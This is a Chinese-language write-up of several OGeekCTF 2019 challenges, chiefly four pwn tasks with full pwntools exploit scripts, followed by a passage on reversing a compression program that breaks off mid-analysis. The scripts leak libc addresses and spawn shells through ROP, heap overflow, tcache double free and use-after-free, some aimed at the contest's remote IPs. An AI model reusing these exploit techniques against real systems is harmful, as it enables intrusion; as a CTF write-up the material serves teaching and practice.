OGeekCTF 2019 部分 writeups

TOC

  1. 1. PWN - babyrop
  2. 2. PWN - book manager
  3. 3. PWN - hub
    1. 3.1. 溢出点
    2. 3.2. 思路
    3. 3.3. 脚本
  4. 4. PWN - 0 day manager
    1. 4.1. 溢出点
    2. 4.2. 思路
    3. 4.3. 脚本
  5. 5. RE - babyre
  6. 6. Mobile - mblockchain

相关附件下载:ogeekctf2019.zip

PWN - babyrop

签到题。

靶机环境是32位的glibc-2.23。

int __cdecl check(int random)
{
size_t v1; // eax
char s; // [esp+Ch] [ebp-4Ch]
char buf[32]; // [esp+2Ch] [ebp-2Ch]
ssize_t v5; // [esp+4Ch] [ebp-Ch]

memset(&s, 0, 0x20u);
memset(buf, 0, 0x20u);
sprintf(&s, "%ld", random);
v5 = read(0, buf, 0x20u);
buf[v5 - 1] = 0;
v1 = strlen(buf);
if ( strncmp(buf, &s, v1) )
exit(0);
write(1, "Correct\n", 8u);
return (unsigned __int8)buf[7];
}

由于check使用的是read函数,则我们可以直接输入\0开头的字符串来进行绕过,然后strlen的长度就为0,则后面的strncmp判断必定成功。

void __cdecl vul(char a1)
{
char buf[231]; // [esp+11h] [ebp-E7h]

if ( a1 == 127 )
read(0, buf, 200u);
else
read(0, buf, a1);
}

之后的漏洞函数中,a1是我们之前输入的第八个字符,如果我们输入\xff时,则在reada1会进行符号填充,那么我们就可以读入4294967295-1)个字节,这将直接导致栈溢出,之后就行常规的ROP

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
context.log_level = 'debug'
execve_file = './babyrop'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.112.137.238', 13337)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x080487FF
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)
# pause()

sh.sendline('\0' + '\xff' * 18)

sh.recvuntil('Correct\n')

sh.send('a' * 231 + p32(0x804b000 - 0x800) + p32(elf.plt['puts']) + p32(0x08048519) + p32(elf.got['puts']) + p32(elf.plt['read']) + p32(0x08048608) + p32(0) + p32(0x804b000 - 0x800) + p32(0x200))

result = sh.recvuntil('\n')[:-1]
libc_addr = u32(result) - libc.symbols['puts']
log.success('libc_addr: ' + hex(libc_addr))

sh.send(p32(0) + p32(libc_addr + libc.symbols['system']) + p32(libc_addr + libc.symbols['exit']) + p32(libc_addr + libc.search('/bin/sh').next()))

sh.interactive()
clear()

PWN - book manager

第二道签到题,靶机环境是glibc-2.23。

内置一大堆漏洞,这里我用最简单的heap overflow

Add_text功能中,size的大小是由用户决定的。

v6 = get_int();
if ( v6 <= 256 )
{
v2 = *(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL));
*(_QWORD *)(v2 + 32) = malloc(v6);
printf("\nText:");
read_n(&s, 0x100u);
v3 = strlen(&s);
memcpy(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v4 + 4LL)) + 8 * (i + 4LL)) + 32LL), &s, v3);
}
else
{
printf("\nToo many");
}

但是在Update功能中,其输入的大小指定为255,直接导致heap overflow

printf("\nNew Text:");
read_n(*(void **)(*(_QWORD *)(*(_QWORD *)(a1 + 8 * (v5 + 4LL)) + 8 * (v6 + 4LL)) + 32LL), 255u);
printf("\nUpdated", 255LL);
return;

而且由于Text结构的输入没有null截断,我们可以直接泄露libc地址

思路

Add_chapter('aaaa\n')
Add_section('aaaa\n', 'bbbb\n')
Add_section('aaaa\n', 'cccc\n')
Add_text('bbbb\n', 0x88, '\n')
Add_text('cccc\n', 0x68, 'here\n')

Remove_text('bbbb\n')
Add_text('bbbb\n', 0x88, '\x78')
Book_preview()

sh.recvuntil('Section:bbbb')
sh.recvuntil('Text:')

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

因为劫持Text结构体更简单,而且可以实现任意地址读写,我们只需要提前布置好heap 结构就行。

Add_section('aaaa\n', 'dddd\n')
Update('cccc\n', '/bin/sh\0'.ljust(0x60, '\0') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\0') + p64(libc_addr + libc.symbols['__free_hook']))
Update('dddd\n', p64(libc_addr + libc.symbols['system']))

Remove_text('cccc\n')

sh.interactive()

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './bookmanager'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
sh = remote('47.112.115.30', 13337)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *$rebase(0x134A)
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Add_chapter(c_name):
sh.sendlineafter('Your choice:', '1')
sh.sendafter('Chapter name:', c_name)

def Add_section(c_name, s_name):
sh.sendlineafter('Your choice:', '2')
sh.sendafter('Which chapter do you want to add into:', c_name)
sh.sendafter('Section name:', s_name)

def Add_text(s_name, size, text):
sh.sendlineafter('Your choice:', '3')
sh.sendafter('Which section do you want to add into:', s_name)
sh.sendlineafter('How many chapters you want to write:', str(size))
sh.sendafter('Text:', text)

def Remove_text(s_name):
sh.sendlineafter('Your choice:', '6')
sh.sendafter('Section name:', s_name)

def Book_preview():
sh.sendlineafter('Your choice:', '7')

def Update(s_name, text):
sh.sendlineafter('Your choice:', '8')
sh.sendlineafter('hat to update?(Chapter/Section/Text):', 'Text')
sh.sendafter('Section name:', s_name)
sh.sendafter('New Text:', text)

sh.recvuntil('Name of the book you want to create: ')
sh.send('a' * 30)

Add_chapter('aaaa\n')
Add_section('aaaa\n', 'bbbb\n')
Add_section('aaaa\n', 'cccc\n')
Add_text('bbbb\n', 0x88, '\n')
Add_text('cccc\n', 0x68, 'here\n')

Remove_text('bbbb\n')
Add_text('bbbb\n', 0x88, '\x78')
Book_preview()

sh.recvuntil('Section:bbbb')
sh.recvuntil('Text:')

result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

Add_section('aaaa\n', 'dddd\n')
Update('cccc\n', '/bin/sh\0'.ljust(0x60, '\0') + p64(0) + p64(0x41) + 'dddd'.ljust(0x20, '\0') + p64(libc_addr + libc.symbols['__free_hook']))
Update('dddd\n', p64(libc_addr + libc.symbols['system']))

Remove_text('cccc\n')

sh.interactive()
clear()

PWN - hub

靶机环境是glibc-2.27。

要是能开启PIE并且使用glibc-2.23.so的话,相信能成为更优质的挑战。

溢出点

程序流还是非常清晰明了的。

__int64 __fastcall main_function(char *a1)
{
__int64 result; // rax
signed int v2; // eax
char *ptr; // ST28_8
unsigned int v4; // [rsp+8h] [rbp-28h]
unsigned int size; // [rsp+14h] [rbp-1Ch]
char *malloc_ptr; // [rsp+18h] [rbp-18h]
char *ptr_array; // [rsp+20h] [rbp-10h]

v4 = 39;
malloc_ptr = 0LL;
ptr_array = 0LL;
while ( 1 )
{
result = v4--;
if ( !(_DWORD)result )
break;
menu();
v2 = get_int();
if ( v2 == 2 )
{
puts("Which hub don't you want?");
ptr = &ptr_array[(signed int)get_int()];
free(ptr);
if ( malloc_ptr == ptr )
malloc_ptr = 0LL;
}
else if ( v2 > 2 )
{
if ( v2 == 3 )
{
puts("What do you want?");
read(0, malloc_ptr, 8uLL);
}
else if ( v2 == 4 )
{
puts("Bye");
exit(0);
}
}
else if ( v2 == 1 )
{
puts("How long will you stay?");
size = get_int();
if ( size > 0x400 )
malloc_ptr = 0LL;
else
malloc_ptr = (char *)malloc(size);
if ( !malloc_ptr )
{
puts("Malloc faild");
exit(-1);
}
ptr_array = malloc_ptr;
}
}
return result;
}

Free功能中,虽然将malloc_ptr置为0,但是并没有将ptr_array置为0,则我们可以直接输入index为0,这样会直接导致double free

思路

一般在有PIE的情况下,我们需要利用chunk残余的fd和bk来对stdout的地址进行爆破,但是这里没有PIE,而且stdout的地址就在bss段上,我们可以直接利用tcache attack进行控制。然后修改stdout->_flags

Malloc(0x18)
Free(0)
Free(0)
Malloc(0x18)
Write(p64(elf.symbols['stdout']))
Malloc(0x18)
Malloc(0x18)
Malloc(0x18)
Write(p64(0xfbad2887 + 0x1000))

奈何一次只能写入8 byte,而且修改stdout地址的话,调用printf函数时会发生阻塞现象,所以我们只能爆破对程序基本没有影响的stderr的地址了,下面的代码功能就是爆破bss段stderr的地址的低二位字节,使其指向stdout->_IO_write_base的地址,这里是1/16的几率。

Malloc(0x28)
Free(0)
Free(0)
Malloc(0x28)
Write(p64(elf.symbols['stderr']))
Malloc(0x28)
Malloc(0x28)
Write(p16(0x0780))

之后将地址指向我们要泄露的信息,通过调试可得:

pwndbg> p stdout->_IO_write_base
$1 = 0x7fa8627a27e3 <_IO_2_1_stdout_+131> "\n"
pwndbg> x/8gx 0x7fa8627a27b0
0x7fa8627a27b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
0x7fa8627a27c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x00007fa8627a1a00
0x7fa8627a27d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
0x7fa8627a27e0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00007fa8627a38c0
pwndbg> x/gx 0x00007fa8627a1a00
0x7fa8627a1a00 <_IO_2_1_stdin_>: 0x00000000fbad208b

stdout->_IO_write_base地址的低位字节为0xc8的时候,可以泄露_IO_2_1_stdin_的地址,所以对于的修改脚本如下:

Malloc(0x38)
Free(0)
Free(0)
Malloc(0x38)
Write(p64(elf.symbols['stderr']))
Malloc(0x38)
Malloc(0x38)
Malloc(0x38)
Write(p8(0xc8))

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

直接用tcachedouble free即可。

Malloc(0x48)
Free(0)
Free(0)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['__free_hook']))
Malloc(0x48)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['system']))

Malloc(0x58)
Write('/bin/sh\0')
Free(0)

sh.interactive()

脚本

几率为1/16

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# # Create a symbol file for GDB debugging
# try:
# gdb_symbols = '''

# '''

# f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
# f.write(gdb_symbols)
# f.close()
# os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# except Exception as e:
# print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './hub_2bcab892e2e5b54edbef4ccecd6f373f'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('47.112.139.218', 13132)
elf = ELF(execve_file)
libc = ELF('./libc-2.27.so')
# libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
b *0x400A33
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)

def Malloc(size):
sh.sendlineafter('>>', '1')
sh.sendlineafter('How long will you stay?\n', str(size))

def Free(hub):
sh.sendlineafter('>>', '2aaaaaaaa')
sh.sendlineafter('Which hub don\'t you want?', str(hub))

def Write(content):
sh.sendlineafter('>>', '3')
sh.sendafter('What do you want?\n', content)


Malloc(0x18)
Free(0)
Free(0)
Malloc(0x18)
Write(p64(elf.symbols['stdout']))
Malloc(0x18)
Malloc(0x18)
Malloc(0x18)
Write(p64(0xfbad2887 + 0x1000))

Malloc(0x28)
Free(0)
Free(0)
Malloc(0x28)
Write(p64(elf.symbols['stderr']))
Malloc(0x28)
Malloc(0x28)
Write(p16(0x0780))

Malloc(0x38)
Free(0)
Free(0)
Malloc(0x38)
Write(p64(elf.symbols['stderr']))
Malloc(0x38)
Malloc(0x38)
Malloc(0x38)
Write(p8(0xc8))

result = sh.recvn(8)
libc_addr = u64(result) - libc.symbols['_IO_2_1_stdin_']
log.success('libc_addr: ' + hex(libc_addr))

Malloc(0x48)
Free(0)
Free(0)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['__free_hook']))
Malloc(0x48)
Malloc(0x48)
Write(p64(libc_addr + libc.symbols['system']))

Malloc(0x58)
Write('/bin/sh\0')
Free(0)

sh.interactive()
clear()

PWN - 0 day manager

靶机环境是glibc-2.27。

其实漏洞非常简单,只不过其中大量的结构体一开始就吓跑了很多人,刚开始看到这么复杂的结构体我自己也吓了一跳,但是随着仔细的分析,程序慢慢变得简单。

下面是程序要用到的结构体:

typedef struct Link{
struct Link *next;
void *ptr;
}Link;

typedef struct Node{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Node;

typedef struct leak{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
char offset[8];
}leak;

typedef struct Memory{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Memory;

typedef struct Logic{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
void *field_20;
void *field_28;
}Logic;

typedef struct Container{
void *array[6];
}Container;

typedef struct Control{
int field_0;
int field_4;
Container *con;
}Control;

溢出点

这是我乱打payload无意间发现的,下面是我的payload:

1
3
90
fjsdosii
90
jfois
4
3
0
2
3

分析了Handle功能之后,发现其三个结构都有一个致命的UAF漏洞。

Handle功能中,处理的数目是由用户来确定的,但是当number为0时,悲剧就发生了。

printf("How many you want to handle in?");
number = get_int();
_number = number;

这里我举Logic为例,也就是type为2时,在Handle功能中,当number为0时,则下面的代码会直接跳过,这里原本是由v17来刷新this_control->con->array[2]结构的指针,number为0时,就什么也不做了,直接跳出,造成了UAF

v17 = this_control->con->array[2];
while ( v17 )
{
v7 = number--;
if ( !v7 )
break;
v8 = v17;
v17 = v17->next;
free(v8);
}
this_control->con->array[2] = v17;

思路

由于源程序代码复杂功能简单,所以脚本我也就写的简单一点。

_sendline('1')
_sendline('3')
_sendline(str(0x58))
_sendline('1')
_sendline(str(0x418)) # unsorted bin
_sendline('1')
_sendline('4')
_sendline('3')
_sendline('0')

# show
_sendline('2')
_sendline('3')
sh.recvuntil('note :')
sh.recvuntil('note :')
result = sh.recvn(8)
main_arena_addr = u64(result) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

调试结果如下:

pwndbg> pr
$1 = {
array = {0x0, 0x0, 0x55af914eb780, 0x0, 0x0, 0x0}
}
pwndbg> prlo
$2 = {
next = 0x0,
ptr = 0x55af914eb2c0
}
$3 = {
type = 0,
data_size = 0,
data = 0x55af914eb300 "",
note_size = 1048,
field_14 = 0,
note = 0x55af914eb360 "\240\314Æ\302\177",
field_20 = 0x0,
field_28 = 0x0
}
pwndbg> x/4gx 0x55af914eb360
0x55af914eb360: 0x00007fc286c3cca0 0x00007fc286c3cca0
0x55af914eb370: 0x0000000000000000 0x0000000000000000
pwndbg> x/gx 0x00007fc286c3cca0
0x7fc286c3cca0 <main_arena+96>: 0x000055af914eb790

由于使用的calloc函数,它不会从tcache里面拿chunk,所以我们必须要先绕过tcache,方法也很简单,就是不停的free就行。

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

调试结果如下:

pwndbg> bin
tcachebins
0x40 [ 5]: 0x55bf06037360 ◂— 0x55bf06037360
0x60 [ 1]: 0x55bf06037300 ◂— 0x0
0x70 [ 7]: 0x55bf060373a0 —▸ 0x55bf06037470 ◂— 0x0
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x55bf06037470 —▸ 0x55bf06037400 —▸ 0x55bf06037390 ◂— 0x55bf06037470
0x80: 0x0
unsortedbin
all: 0x55bf06037500 —▸ 0x7f86df21cca0 (main_arena+96) ◂— 0x55bf06037500
smallbins
empty
largebins
empty

可以看到fastbin已经double free了。

这里需要进行利用realloc来进行栈调整,才能执行one gadget

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline(p64(main_arena_addr - 0x33))
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()

_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))
_sendline(str(0x68))

脚本

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = os.getenv('GDB_SALT') if (os.getenv('GDB_SALT')) else ''

def clear(signum=None, stack=None):
print('Strip all debugging information')
os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]:
signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
gdb_symbols = '''
typedef struct Link{
struct Link *next;
void *ptr;
}Link;
Link *no_use1;

typedef struct Node{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Node;
Node *no_use2;

typedef struct leak{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
char offset[8];
}leak;
leak *no_use3;

typedef struct Memory{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
int shellcode_size;
int field_24;
char *shellcode;
}Memory;
Memory *no_use4;

typedef struct Logic{
int type;
int data_size;
char *data;
int note_size;
int field_14;
char *note;
void *field_20;
void *field_28;
}Logic;
Logic *no_use5;

typedef struct Container{
void *array[6];
}Container;
Container *no_use6;

typedef struct Control{
int field_0;
int field_4;
Container *con;
}Control;
Control *no_use7;

'''

f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
f.write(gdb_symbols)
f.close()
os.system('gcc -g -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
# os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './0day_manage'
sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
# sh = process(execve_file)
# sh = remote('47.112.137.133', 12345)
elf = ELF(execve_file)
# libc = ELF('./libc-2.27.so')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
gdbscript = '''
set $p = *(Control **)$rebase(0x203050)

define pr
p *$p->con
end

define prl
set $t= (Link *)(*$p->con).array[0]
p *$t
p *(leak *)$t->ptr
end

define prm
set $t= (Link *)(*$p->con).array[1]
p *$t
p *(Memory *)$t->ptr
end

define prlo
set $t= (Link *)(*$p->con).array[2]
p *$t
p *(Logic *)$t->ptr
end
'''

f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()

f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
f.write(gdbscript)
f.close()
except Exception as e:
print(e)


def _sendline(str):
sh.sendline(str)
# time.sleep(0.5)

_sendline('1')
_sendline('3')
_sendline(str(0x58))
_sendline('1')
_sendline(str(0x418)) # unsorted bin
_sendline('1')
_sendline('4')
_sendline('3')
_sendline('0')

# show
_sendline('2')
_sendline('3')
sh.recvuntil('note :')
sh.recvuntil('note :')
result = sh.recvn(8)
main_arena_addr = u64(result) - 96
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - (libc.symbols['__malloc_hook'] + 0x10)
log.success('libc_addr: ' + hex(libc_addr))

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')

_sendline('4')
_sendline('2')
_sendline('0')


_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline(p64(main_arena_addr - 0x33))
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
_sendline('1')

_sendline('1')
_sendline('2')
_sendline(str(0x68))
_sendline('1')
_sendline(str(0x68))
'''
0x4f2c5 execve("/bin/sh", rsp+0x40, environ)
constraints:
rcx == NULL

0x4f322 execve("/bin/sh", rsp+0x40, environ)
constraints:
[rsp+0x40] == NULL

0x10a38c execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
# pause()

_sendline('z' * 11 + p64(libc_addr + 0x4f2c5) + p64(libc_addr + libc.symbols['realloc'] + 2))
_sendline(str(0x68))

sh.interactive()
clear()

RE - babyre

题目给了一个压缩程序,但是没有相对应的解压程序,还给了一个压缩过的文件,要求我们根据分析压缩程序的算法写出相对应的解压程序即可。

根据IDA还原的算法源码:

// gcc -s -O3 compress.c -o compress
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct out_container
{
FILE *out_fp;
int field_8;
int field_C;
int amount;
} out_container;

void push_one_bit(out_container *a1, int a2)
{
int v2; // ebx

if (a2)
*(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);
*(unsigned char *)&(a1->field_C) >>= 1;
if (!*(unsigned char *)&(a1->field_C))
{
v2 = a1->field_8;
if (v2 == _IO_putc(a1->field_8, a1->out_fp))
++a1->amount;
else
puts("write fail.");
a1->field_8 = 0;
*(unsigned char *)&(a1->field_C) = 0x80u;
}
}

#define _WORD short

void push_n_bits(out_container *a1, size_t a2, char a3)
{
int v3; // ebx
unsigned i; // [rsp+28h] [rbp-18h]

for (i = 1 << (a3 - 1); i; i >>= 1)
{
if (a2 & i)
*(unsigned char *)&(a1->field_8) |= *(unsigned char *)&(a1->field_C);
*(unsigned char *)&(a1->field_C) >>= 1;
if (!*(unsigned char *)&(a1->field_C))
{
v3 = a1->field_8;
if (v3 == _IO_putc(a1->field_8, a1->out_fp))
++a1->amount;
else
puts("write fail.");
a1->field_8 = 0;
*(unsigned char *)&(a1->field_C) = -128;
}
}
}

void compress(_IO_FILE *in_fp, out_container *out)
{
signed int i; // [rsp+1Ch] [rbp-24h]
signed int j; // [rsp+1Ch] [rbp-24h]
signed int k; // [rsp+1Ch] [rbp-24h]
int l; // [rsp+1Ch] [rbp-24h]
signed int m; // [rsp+20h] [rbp-20h]
signed int v7; // [rsp+24h] [rbp-1Ch]
int v8; // [rsp+28h] [rbp-18h]
signed int v9; // [rsp+2Ch] [rbp-14h]
signed int number; // [rsp+30h] [rbp-10h]
char buf[0x1000];
char byte_202040[17];
int position; // [rsp+34h] [rbp-Ch]
int v12; // [rsp+38h] [rbp-8h]
int v13; // [rsp+38h] [rbp-8h]

memset(buf, 0, 0x1000uLL);
v8 = 1;
for (i = 0; i <= 16; ++i)
{
v12 = _IO_getc(in_fp);
if (v12 == -1)
break;
buf[i + 1] = v12;
}
v7 = i;
number = 0;
position = 0;
while (v7)
{
if (number > v7)
number = v7;
if (number > 1)
{
v9 = number;
push_one_bit(out, 0);
push_n_bits(out, position, 12);
push_n_bits(out, number - 2, 4);
}
else
{
v9 = 1;
push_one_bit(out, 1);
push_n_bits(out, buf[v8], 8);
}
for (j = 0; j < v9; ++j)
{
v13 = _IO_getc(in_fp);
if (v13 == -1)
--v7;
else
buf[((_WORD)v8 + 17 + (_WORD)j) & 0xFFF] = v13;
}
v8 = ((_WORD)v8 + (_WORD)v9) & 0xFFF;
if (v7)
{
for (k = 0; k <= 16; ++k)
byte_202040[k] = buf[((_WORD)v8 + (_WORD)k) & 0xFFF];
number = 0;
for (l = ((_WORD)v8 + 17) & 0xFFF; l != v8; l = ((_WORD)l + 1) & 0xFFF)
{
if (l)
{
for (m = 0; m <= 16 && buf[((_WORD)l + (_WORD)m) & 0xFFF] == byte_202040[m]; ++m)
;
if (m >= number)
{
number = m;
position = l;
}
}
}
}
}
push_one_bit(out, 0);
push_n_bits(out, 0LL, 12);
}

int main(int argc, char **argv)
{

FILE *in_fp;
out_container *out = malloc(sizeof(out_container));

if(argc < 3)
{
puts("Usage: ./compress in_file out_file");
exit(0);
}

in_fp = fopen(argv[1], "rb");

if(in_fp == NULL)
{
perror("fopen error!");
exit(-1);
}

out->out_fp = fopen(argv[2], "wb");

if(out->out_fp == NULL)
{
perror("fopen error!");
exit(-1);
}

setbuf(out->out_fp, NULL);
out->field_8 = 0;
*(unsigned char *)&(out->field_C) = -128;
out->amount = 0;

compress(in_fp, out);

fputc(0, out->out_fp);

fclose(in_fp);
fclose(out->out_fp);

free(out);

return 0;
}

通过下面测试,已经和原先的程序行为基本一致:

ex@Ex:~/ogeek2019/re/babyre$ ./compress in out
ex@Ex:~/ogeek2019/re/babyre$ ./babyre in out2
Weclcome to My Baby re.
######
# # ## ##### # # ##### ######
# # # # # # # # # # #
###### # # ##### # # # #####
# # ###### # # # ##### #
# # # # # # # # # #
###### # # ##### # # # ######

Yes ,succeed get new file! XD
ex@Ex:~/ogeek2019/re/babyre$ sha256sum out*
3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca out
3d82edff890a2cf5e2dcb1759139ca4818a9f54d0ad94996aa6c63fa3a6f0eca out2

分析代码可得,这是一个根据重复字符来压缩的算法,但是其长度和举例都是有限的,其长度是17,也就是byte_202040的长度,而最大距离则正好是buf0x1000

if (number > v7)
number = v7;
if (number > 1)
{
v9 = number;
push_one_bit(out, 0);
